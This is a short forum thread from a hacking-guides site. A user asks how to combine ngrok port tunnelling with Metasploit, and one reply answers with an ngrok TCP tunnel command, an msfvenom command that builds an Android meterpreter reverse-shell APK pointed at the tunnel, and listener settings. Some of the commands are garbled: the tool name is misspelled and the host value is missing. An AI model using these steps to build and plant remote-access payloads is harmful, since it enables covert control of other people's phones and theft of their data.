Forum Thread: How to Use Ngrok for Port Forwarding in Metasploit?

I am confused about Using URL and PORTS of Ngrok?
Can anyone please specify using screenshots where and how to use them in Metasploit after creating a payload ?

Never Miss a Hacking or Security Guide

Get new Null Byte guides every week.

1 Response

Hmmm... If you want to make a payload with ngrok instead of using port forwarding you should do :
To start forwarding from (port **)to localhost 4444 :
./ngrok tcp 4444

Now make the payload (Android for example)
msfevom -p android/meterpreter/reversetcp LPORT=<Yourngrok_port> R > /root/payload.apk

And for the listener, set lhost to ans lport to 4444
: )

Share Your Thoughts

  • Hot
  • Active